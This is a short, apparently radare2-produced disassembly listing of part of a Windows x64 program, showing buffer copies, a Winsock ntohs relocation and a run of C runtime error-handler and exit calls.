movups xmmword [rbp + 0x10c8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts esi, 8
lea rcx, [0x140466030]
call fcn.140003990
movups xmm0, xmmword [rbp + 0x10b8]
movups xmmword [0x140466030], xmm0
movups xmm1, xmmword [rbp + 0x10c8]
movups xmmword [0x140466040], xmm1
mov qword [rbp + 0x10c8], r15
mov qword [rbp + 0x10d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10b8], 0
mov r8, qword [rbp + 0xe28]
cmp r8, 0x10
jb 0x14004c1b2
inc r8
mov rdx, qword [rbp + 0xe10]
lea rcx, [rbp + 0xe10]
call fcn.140004400
mov eax, dword [0x1402012d0]
mov dword [rbp + 0xc30], eax
movzx eax, word [0x1402012d4]
mov word [rbp + 0xc34], ax
movzx eax, byte [0x1402012d6]
movsd xmm0, qword [str.vCWVk_ERJI]
mov byte [rbp + 0xc36], al
movsd qword [rbp + 0xc28], xmm0
mov byte [rbp + 0xe10], 0
mov qword [rbp + 0xe28], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xe20], r15
mov r8d, r15d
cmp r12d, 2
jl 0x14004c321
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003500
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, 2
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
call fcn.140003520
nop
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3